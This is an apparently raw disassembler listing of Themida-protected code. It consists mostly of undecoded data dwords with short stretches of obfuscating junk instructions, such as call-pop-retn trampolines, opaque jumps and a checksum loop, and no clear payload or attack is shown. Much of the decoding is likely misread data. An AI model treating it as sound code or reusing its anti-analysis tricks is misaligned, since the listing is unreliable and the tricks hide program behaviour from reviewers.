dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 5DEBCCC3h, 0EC5AF72Fh, 11E92E29h, 0B8000000h, 0DD204B7h
dd 0CE7E1C51h, 5E1BB639h, 1BB5B5C7h, 9B94A468h, 81FA8BBCh
dd 6F5B2404h, 0AE94383h, 9D000000h, 0C30A7F81h, 2C4C9543h
dd 0D195FF21h, 60060B03h, 8BC18B66h, 806061F1h, 9D8B99C8h
dd 60B13D5h, 1D858961h, 0E9060EA8h, 0Eh, 58EDDDC6h, 8BF2560Bh
dd 84CA50F1h, 30BF0971h, 0E96DA14Eh, 189h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 26C35545h, 858B2A44h
dd 60EA815h, 0D12AD6BBh, 1800C75Dh, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 5975C350h, 0F04BBB97h, 0F9B589C2h, 8B060B31h, 0EA819B5h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 5263DE41h, 858B8C54h, 60B06E1h, 3381BD8Bh
dd 689060Bh, 317D858Bh, 8B66060Bh, 44689DEh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 38C35545h, 50080620h
dd 9E960h, 48D40000h, 0DDF7A882h, 66311894h, 614C8FB8h
dd 0B243489h, 0B1B919Dh, 959D8B06h, 0FF060B02h, 0EA815B5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 0BEA18EFEh, 668580D0h, 43B1C381h, 4E8h
dd 1F03FF00h, 8A0F00h, 50000000h, 8BDE8B66h, 66042444h
dd 8BC3EBBFh, 0DE8B6600h, 4244489h, 89585F57h, 0B31619Dh
dd 0DAB70F06h, 0A81D858Dh, 8B66060Eh, 6840FDFh, 29000000h
dd 0B177195h, 17BF9006h, 501AFD29h, 6870F90h, 8B000000h
dd 0B2D899Dh, 0D195FF06h, 6A060B03h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5DE2C353h
dd 6EB1C880h, 9D896127h, 60B2919h, 100985C7h, 3060Bh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0DC514DC3h, 26B1F030h, 0CDBD8BDBh, 0BF060B01h, 3A4B42B2h
dd 0A81DBD83h, 0F00060Eh, 3784h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0DD2CA821h
dd 2DE9CBh, 0BD310000h, 60B2049h, 7E9h, 98E20700h, 1027F571h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 89E9C355h, 832C86AEh, 3169BD89h, 6A060Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 0CA9BE4C3h, 731876FDh, 83E8E54Eh, 0B1009BDh, 850F0306h
dd 3ACh, 0BD83F98Ah, 60EA81Dh, 9D840F00h, 8B000003h, 0B208DBDh
dd 8D0F06h, 0FF000000h, 0EA81DB5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 95FF3DC6h
dd 60B083Dh, 0DECF8166h, 49BD2BF7h, 8B060B24h, 0EA811B5h
dd 119D2306h, 3060B1Ah, 0B33B5BDh, 106C706h, 6A000100h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 6473C351h, 892BCB75h, 0B0AB185h, 0B3515006h
dd 34895F02h, 13E824h, 33F70000h, 6DBFEBA6h, 0EE8D8641h
dd 0CE803399h, 0B7EB3EABh, 51BD89E1h, 5B060B2Eh, 0A81DB5FFh
dd 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 0CC3C0BC3h, 0BD8BF1F7h, 60B055Dh, 95FF98B7h
dd 60B0641h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 0B2C35242h, 0B7E72C2Ah, 11B58BBDh, 6A060EA8h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 9093C353h, 3ABAB064h, 0BF0FA58Eh, 798D89D9h, 8B060B29h
dd 0B121D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 0E8FBA440h, 14h, 0B8AFA1C1h, 4237DD80h
dd 0F6781626h, 25E66C73h, 417ADE66h, 895FFC8Ah, 0B27598Dh
dd 0C4868906h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 3168C351h, 0BF74BEDDh
dd 153A0B7Ch, 0A850Fh, 880F0000h, 4, 0A248BF66h, 8BFEBF0Fh
dd 0B174D95h, 0C283FC06h, 0AC78104h, 894728FDh, 0DF812050h
dd 4B3EE618h, 21F19D8Bh, 858D060Bh, 60EBAEEh, 12D59531h
dd 8689060Bh, 0B8h, 5F59D2Bh, 6A060Bh, 2DF19D33h, 0FFFC060Bh
dd 0EA81DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 7ABAF0F3h, 0FF5A5CE5h, 0B0F1595h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 0A9D0DD9Bh, 467D8C7Bh, 2DFDBD8Bh, 6096060Bh
dd 841705BBh, 0FDBA6672h, 605061E7h, 13E8h, 0E5424400h
dd 7DA2DBD4h, 9A04BF8Ch, 6C7455D3h, 0E27F3F1h, 605F5950h
dd 5E9h, 60289700h, 61614531h, 0DD9D8996h, 0FF060B21h
dd 0EA81DB5h
dd 0F595FF06h, 89060B00h, 0B1BB18Dh, 91BD8306h, 60B21h
dd 15840Fh, 51BF0000h, 965FE0A9h, 50F88B66h, 5ADEBF66h
dd 0F1950996h, 0FF060B15h, 0EA81DB5h, 60526006h, 0B70F5B61h
dd 95FF61C9h, 60B1281h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 0FFC35343h, 13A9BD8Bh, 0B5FF060Bh, 60EA81Dh
dd 68D0Fh, 0B5890000h, 60B035Dh, 0B8D95FFh, 6A060Bh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0EA5320C3h, 0FA9B049h, 5B52D8B7h, 17F1BD83h, 0F02060Bh
dd 1384h, 0FB8B6600h, 2EC5858Bh, 8589060Bh, 60B1651h, 0F50000C6h
dd 6B985C7h, 60Bh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 0E8836DC3h, 0Dh, 0C84C7151h
dd 8BD08FDDh, 635F0B1Fh, 0CE99Dh, 6D4D0000h, 0E4EA94D7h
dd 0BFCFE7Ch, 535B43BAh, 5BF9B70Fh, 0FFF476E9h, 55006AFFh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 74DA96EAh, 6AC18BBBh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 9AE2C351h, 0B523DE81h
dd 0D4622899h, 38C0Fh, 8B660000h, 0A9858DDAh, 6A060B28h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 6FB5C357h, 9D0989F4h, 60B2D7Dh, 6800Fh, 9D8B0000h
dd 60B1349h, 9E990h, 0F8DE0000h, 6D46C620h, 503C4022h
dd 5E9h, 0BDBBD100h, 6A902004h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 9DEEC356h, 0B6C03AECh
dd 1FD93B6Ch, 2B71BD29h, 6A060Bh, 0F88B6653h, 89006A5Fh
dd 0B042995h, 0CD9D8906h, 8D060B02h, 0F806285h, 0D1B58906h
dd 89060B32h, 0B2F5D8Dh, 5C08306h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 0D0C35242h, 45B376C6h, 8B525090h
dd 53310FD8h, 7444BF66h, 50585A5Bh, 12E852h, 0E7E90000h
dd 6016DEAAh, 2598F61Fh, 0D3C151F8h, 6EBE774Ah, 0BE8h
dd 9A45E00h, 44285BC1h, 23522044h, 905B5F5Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 38C35141h, 0D58D0110h
dd 6A060B0Eh, 14E900h, 0DCC90000h, 0A0343A48h, 8A9118F4h
dd 5340DF94h, 22E85F0Ah, 6A866Dh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 0A7C35141h, 3C607D6Eh, 0D38E80F3h
dd 2F2195FFh, 11E9060Bh, 6F000000h, 0D00935F5h, 8C6D2025h
dd 5D09780Fh, 87C59BF5h, 0A7B08D8Dh, 6A060Eh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D8BCDC3h
dd 60B1F5Dh, 6AD1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 2E90FDC3h, 0C1FFC738h, 10E9h, 0A6ECA900h
dd 0DB6A3ADEh, 64323F68h, 3D55524Ah, 19BD83FCh, 1060B0Bh
dd 4C850Fh, 0F520000h, 686h, 8F0F00h, 5B000000h, 50FC026Ah
dd 489DF8Bh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 95FFEE55h, 60B0F15h, 0DE9h, 920CAC00h
dd 0FA59CEDEh, 0CF7711F1h, 12E99983h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 60F806Ch
push 0
push esi
call sub_584122
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_584122 proc near ; CODE XREF: Themida_:0058411Ap
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_584122 endp
; ---------------------------------------------------------------------------
inc esi
push 552200E0h
push 0
push edx
call sub_584143
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_584143 proc near ; CODE XREF: Themida_:0058413Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_584143 endp
; ---------------------------------------------------------------------------
and [eax+1Fh], dh
xchg al, [ebx-52h]
sbb [ebp+0E929385h], cl
push es
push 0
push esi
call sub_58416B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58416B proc near ; CODE XREF: Themida_:00584163p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_58416B endp
; ---------------------------------------------------------------------------
db 6Dh
; ---------------------------------------------------------------------------
xchg eax, esp
test al, 29h
adc ch, [edx]
mov word ptr [edx-23h], es
mov ebx, 7E13064Ah
push eax
push edi
jmp loc_58419F
; ---------------------------------------------------------------------------
dd 0BED1DDE2h, 7A65A380h, 0A37A3086h
; ---------------------------------------------------------------------------
cmpsd
das
icebp
loc_58419F: ; CODE XREF: Themida_:0058418Bj
pop edi
mov [esp], eax
push 0
push edi
call sub_5841AE
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5841AE proc near ; CODE XREF: Themida_:005841A6p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_5841AE endp
; ---------------------------------------------------------------------------
dw 2241h
dd 1F9F280Ch, 0FF64633Fh, 35h, 88A0F00h, 56000000h, 29618D89h
dd 645F060Bh, 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 5C9FEFC3h, 6D85FF14h
dd 0E9060B06h, 12h, 758173A1h, 0F2349CE6h, 0AA8CF211h
dd 0FD2CC835h, 0FF6AF9F8h, 12E9h, 9E29BC00h, 8D18C0BCh
dd 0B61883C0h, 0CF15AFB4h, 8B464BB1h, 5B5FFDAh, 89060B27h
dd 0B18D19Dh, 1195FF06h, 0E9060B24h, 0F9h, 19F5BD8Bh, 0B0060Bh
dd 10E9h, 0BE45700h, 7E036562h, 0A567216Bh, 2FC6EBDFh
dd 0F70E6A6h, 68Dh, 0BB665700h, 0E45B59F9h, 0FEBF6671h
dd 0F613CDEh, 0C083h, 0B60FF900h, 0FEB70FC8h, 0F275F781h
dd 6BA594Eh, 8B000000h, 0ADEF80C1h, 6604E8C1h, 0E0D6EF81h
dd 2BE2F766h, 8BDE8BC8h, 29FBBFD1h, 4E94340h, 66000000h
dd 8B0858BBh, 0B2A1D85h, 7C08306h, 39858960h, 29060B18h
dd 0B0B8195h, 0BD896106h, 60B1F71h, 3B00C083h, 20830FD0h
dd 0F000000h, 5AE9F8B7h, 0E9000000h, 11h, 0CD2F135Ah, 11AC9B96h
dd 0F8D8CB24h, 1DDDF60Ah, 8BDA8B88h, 0B00A18Dh, 89BD8B06h
dd 8B060B1Fh, 0B2E1DBDh, 1E18306h, 27840Fh, 8F0F0000h
dd 3, 83DF8B66h, 0B00A1A5h, 0BD89FE06h, 60B3169h, 2A1D9589h
dd 9D8B060Bh, 60B04A9h, 0E9h, 3CB58D00h, 6A060EF7h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 50B99139h, 0A0FB47C2h, 816618B5h, 0FF5A71C7h, 0B32DD95h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 0A2B96A55h, 0F000007h, 28Eh, 83E9B300h
dd 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 862A2CC3h, 5E860h, 4A150000h, 66486519h
dd 2F36C381h, 6AFC5Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 614CD8C3h, 6D9D33EBh, 0B8060B0Bh
dd 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_584413
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_584413 proc near ; CODE XREF: Themida_:0058440Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_584413 endp
; ---------------------------------------------------------------------------
retn 1A8Ch
; ---------------------------------------------------------------------------
fdiv qword ptr [ebx]
jnz short loc_58446A
mov [ebx], ebp
shr byte ptr [edx+0], cl
push ebp
call sub_584438
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_584438 proc near ; CODE XREF: Themida_:00584430p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_584438 endp
; ---------------------------------------------------------------------------
sub dh, [ecx-9]
cld
jle $+6
and edi, [ebp+60B30E5h]
loc_584458: ; CODE XREF: Themida_:00584462j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_584458
jz loc_584470
loc_58446A: ; CODE XREF: Themida_:00584428j
mov ebx, [ebp+60B3355h]
loc_584470: ; CODE XREF: Themida_:00584464j
jb loc_584482
jg loc_584482
jl $+6 ; CODE XREF: Themida_:0058448Fj
loc_584482: ; CODE XREF: Themida_:loc_584470j
; Themida_:00584476j
or eax, 88h
pusha
call sub_58449B
push es
daa
jmp short near ptr loc_58447C+3
; ---------------------------------------------------------------------------
db 2Fh, 3Eh, 7
dd 84BBB29Eh
db 40h, 4Eh, 0B4h
; =============== S U B R O U T I N E =======================================
sub_58449B proc near ; CODE XREF: Themida_:00584488p
xor [ebp+60B1239h], eax
pop esi
mov ebx, [ebp+60B0C35h]
popa
mov edi, [ebp+60B18DDh]
mov edx, [ebp+60B174Dh]
add [ebp+60B2265h], ebx
mov [ebp+60B2F51h], ebx
mov ecx, [ebp+60B0119h]
push 0
push edx
call sub_5844D2
and [edx-3Dh], bl
sub_58449B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5844D2 proc near ; CODE XREF: sub_58449B+2Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5844D2 endp
; ---------------------------------------------------------------------------
dw 9CFh
; ---------------------------------------------------------------------------
retf 0F93h
; ---------------------------------------------------------------------------
db 8Ch
dd 6, 32EDBD33h, 8D89060Bh, 60B01B9h, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 9D8B5818h, 60B333Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5CC35747h, 84B2F11Dh
dd 0BD838F19h, 60B29BDh, 5A840F00h, 8B000000h, 0B1B01BDh
dd 0B806h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 0BD8BC2C3h, 60B2E91h, 4DD78D8Dh
dd 0BB66060Bh, 0E1FF8296h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 66C35646h, 992FBDBFh, 9BD8379h, 60B10h
dd 489840Fh, 0BF0F0000h, 9BD83DFh, 1060B10h, 494840Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 0B3012BC3h, 11E95Eh, 3AD90000h, 1B84A42Bh
dd 7A5A9D64h, 0B0F6E785h, 0BBAE92BCh, 47D0DC20h, 1009BD83h
dd 0F03060Bh, 41786h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 581C2B32h, 8F71D240h
dd 0E1BD89C4h, 60060B2Eh, 4840Fh, 0BB660000h, 8C663381h
dd 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 0A9F6FE36h, 0AE81F11h, 0C000000h, 7F3D16A5h
dd 0E93F6596h, 805BFCF1h, 8C0F04E1h, 0
; ---------------------------------------------------------------------------
or cl, cl
jz loc_5847D3
push 0
push edx
call sub_584683
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_584683 proc near ; CODE XREF: Themida_:0058467Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_584683 endp
; ---------------------------------------------------------------------------
xchg eax, esp
sahf
stc
mov eax, [ebp+60B317Dh]
push 0
push ecx
call sub_5846A7
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5846A7 proc near ; CODE XREF: Themida_:0058469Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5846A7 endp
; ---------------------------------------------------------------------------
db 0AFh
dd 88BE09ABh, 6E99174h, 3F000000h, 0CB050145h, 0ED85339Bh
dd 6A060B06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 0F20DC356h, 0EC3974D0h, 0BD8BF616h
dd 60B2A59h, 0D98D2960h, 0E8060B04h, 0Bh, 93286029h, 5C26A84Bh
dd 0BBD7C1EDh, 14C420C4h, 6650615Eh, 505FDF8Bh, 28D0F51h
dd 51000000h, 4895B5Fh, 859D0924h, 6A060B13h, 0C99D2900h
dd 68060B29h, 615945E0h, 52506051h, 585A310Fh, 0EE7BBE66h
dd 34815F61h, 46461F24h, 6870F61h, 8B000000h, 0B1AD59Dh
dd 0D195FF06h, 6A060B03h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 388AC357h, 0F947AE3h
dd 0A81D8589h, 0EE8060Eh, 60000000h, 1E565F98h, 8A12C9BDh
dd 75FF9BD7h, 9BD3374h, 5B060B04h, 0EE8h, 35C1DB00h, 0E8D59C3Dh
dd 0F464878h, 814C4012h, 0DFB5EDFh, 0C7E95F58h, 0E9000001h
dd 0Bh, 0E0171F47h, 0DAD586D9h
db 2 dup(0F1h), 0DEh
; ---------------------------------------------------------------------------
loc_5847D3: ; CODE XREF: Themida_:00584672j
mov eax, [ebp+60EA815h]
or [ebp+60B2E91h], eax
movsx ebx, dx
mov dword ptr [eax], 18h
push 0
push eax
call sub_5847F3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5847F3 proc near ; CODE XREF: Themida_:005847EBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5847F3 endp
; ---------------------------------------------------------------------------
db 0F8h
dd 0A8E169E1h, 297497ECh, 0B0F3D9Dh, 0B58BF906h, 60EA819h
dd 0DA8B6660h, 1870Fh, 61FC0000h, 6E1858Bh, 6A060Bh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0E92C54C3h, 497C45D0h, 9D8BF842h, 60B06B5h, 0BF0F0689h
dd 7D858BFBh, 81060B31h, 87800AD7h, 446894Ch, 68D0Fh, 0BD8B0000h
dd 60B05B1h, 32CD8589h, 8A96060Bh, 0F3BB50DEh, 9603226Fh
dd 0B5FFF98Bh, 60EA815h, 0FE9h, 0BABDA900h, 1F202785h
dd 0C295F1B6h, 4AFBE19Ah, 4E8FCh, 3FF0000h, 11E8001Fh
dd 74000000h, 0C42A9AC5h, 0A2B65E68h, 0D80880Ah, 0F3771587h
dd 61605250h, 9E9310Fh, 7F000000h, 0DA42A367h, 4CBA2A78h
dd 505F585Ah, 0BBF5250h, 0F1BA377h, 8B585A31h, 0BF042444h
dd 73A7C68Eh, 0C9BF008Bh, 892DD4D5h, 58042444h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0B9C35141h, 858DA033h
dd 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 0F7C35242h, 1C3C3B21h, 0C95FB17Bh, 0DDD9D8Bh, 6090060Bh
dd 66616060h, 0B161D88Bh, 5050618Bh, 0BF310F52h, 8B44585h
dd 6A90585Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 0E04BC356h, 95FF31CDh, 60B03D1h
dd 322D9589h, 2961060Bh, 0B0E3DBDh, 985C706h, 3060B10h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 0A787C351h, 14354EC3h, 157B8026h
dd 11E8h, 84321F00h, 0DE707999h, 4ECDD7DCh, 98C45ADFh
dd 9D8BCE73h, 60B31B1h, 1DBD835Fh, 60EA8h, 2A840Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 0F78064C3h, 21E903h, 0D7810000h, 740900E3h, 110C3050h
dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 81BDC356h, 23F73E9Fh, 5E95Ch, 0A69B0000h, 3DE0E43h
dd 0B03B9BDh, 0CBF6606h, 9BD83C6h, 3060B10h, 456850Fh
dd 820F0000h, 6, 0BA19D31h, 0BD83060Bh, 60EA81Dh, 3D840F00h
dd 0FF000004h, 0EA81DB5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 1188453h, 12F6BF62h
dd 7E82407h, 50000000h, 0F2A5B0F5h, 295B3B38h, 0B03258Dh
dd 3D95FF06h, 52060B08h, 6E8h, 0B5F87900h, 0E90897E0h
dd 14h, 0C6F109F4h, 3984D245h, 94E918DCh, 44DC25B4h, 35F156F8h
dd 0B58B5B5Bh, 60EA811h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 34C35747h, 0A2986D74h, 0C3D1A80Ch, 8C0Fh
dd 6C70000h, 10001h, 12F98509h, 0E996060Bh, 8, 88F76D6Dh
dd 0E7A81267h, 11E950h, 1A30000h, 0F42AAAFBh, 0E0C0341Ah
dd 47351328h, 9632B124h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 2CC35545h, 179745CDh, 12E9E028h, 51000000h
dd 84AFBDBCh, 0FEB712C4h, 0D618A385h, 0D11746A0h, 1DB5FF30h
dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 0C101C355h, 0EB80DE3h, 7BDD9CC5h
dd 2AAD9D8Bh, 0E953060Bh, 7, 0D0ADED90h, 5F120319h, 64195FFh
dd 0BD03060Bh, 60B20DDh, 0BE9h, 373D1E00h, 36307222h, 1D3064Dh
dd 0A811B58Bh, 858B060Eh, 60B121Dh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 75C35747h, 1800B63Ch, 0D129D9CDh
dd 28A0F52h, 8B000000h, 1BE781FAh, 8B096D05h, 0C48689F9h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 1894C355h, 0D6D36D31h, 174D958Bh
dd 9D89060Bh, 60B014Dh, 6A04C283h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 38A7C353h
dd 3B931896h, 89D37B16h, 6A2050h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 538E00C3h, 8DF98B66h
dd 0EBAEE85h, 0DFB70F06h, 14E8h, 716AF00h, 37C39EE6h, 0CF444D8h
dd 413722DAh, 0D15AFA28h, 8D9D03FDh, 5B060B08h, 0B88689h
dd 8D090000h, 60B2219h, 0BF66006Ah, 7E86EC8h, 8C000000h
dd 0DD17F20Ah, 0BF0FA7F4h, 0B5FF5FDBh, 60EA81Dh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 33C35040h, 0B02BB609h
dd 6800Fh, 0BD890000h, 60B01E1h, 0F1595FFh, 8529060Bh
dd 60B29EDh, 1860Fh, 96F90000h, 796B63BFh, 52505077h, 928BC9BFh
dd 0E9310F12h, 13h, 0F586F9A4h, 1399396h, 269065B1h, 0B9A0C34h
dd 5A35E808h, 95319658h, 60B0405h, 2EE78166h, 1DB5FFF2h
dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 0C8D9C355h, 702BF620h, 259D8BB0h
dd 0FF060B04h, 0B00F595h, 6800F06h, 8B000000h, 0B24259Dh
dd 0F1BD8B06h, 83060B05h, 0B2191BDh, 840F0006h, 65h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C7C35141h, 66C5E8B8h
dd 5050D98Bh, 0DE952h, 0E46D0000h, 93F72E69h, 6597B388h
dd 0F439E66h, 89585A31h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 0C3BE12C3h, 8B9C7597h
dd 0B0D159Dh, 1DB5FF06h, 56060EA8h, 5618531h, 0FF5F060Bh
dd 0B128195h, 0CF816606h, 8B66E807h, 1DB5FFDFh, 0FF060EA8h
dd 0B0B8D95h, 1860F06h, 0F9000000h, 3331BD89h, 0BD83060Bh
dd 60B17F1h, 4D840F02h, 0E9000000h, 6, 0FF21241h, 858B320Eh
dd 60B2EC5h, 0B840Fh, 6E90000h, 0BD000000h, 3A53F022h
dd 0C68Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 15C35040h, 866F578Ch, 0BD8BDB13h, 60B0E49h, 6B985C7h
dd 60Bh, 0BD8B0000h, 60B0D39h, 0FFF319E9h, 5E9FFh, 6BD30000h
dd 8B10DFE4h, 68E0FC1h, 8B000000h, 0B0EF9BDh, 0A9858D06h
dd 0F060B28h, 8B50FEB7h, 240489FEh, 8959D31h, 6A060Bh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h
; ---------------------------------------------------------------------------
inc ecx
push ecx
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
db 93h
dd 830F6233h, 2, 6ADE8Bh, 4F79BF66h, 9045858Dh, 6A060Fh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 313E51C3h, 663329DBh, 0F0F8BBBh, 0C083DAB7h, 53006A05h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 46E7CF4h, 0FC7B2A9Bh, 24048950h, 13E9h, 894D8B00h, 736DD12Ah
dd 2445480Dh, 9E241E3Fh, 35C364B1h, 6A006Ah, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 96B2FBC3h
dd 4FD11C72h, 0FC2B28Fh, 686h, 89BD2B00h, 8B060B0Bh, 6A006AF9h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 12DCC357h, 95FF605Fh, 60B2F21h, 0B08D8DF8h
dd 6A060EA7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
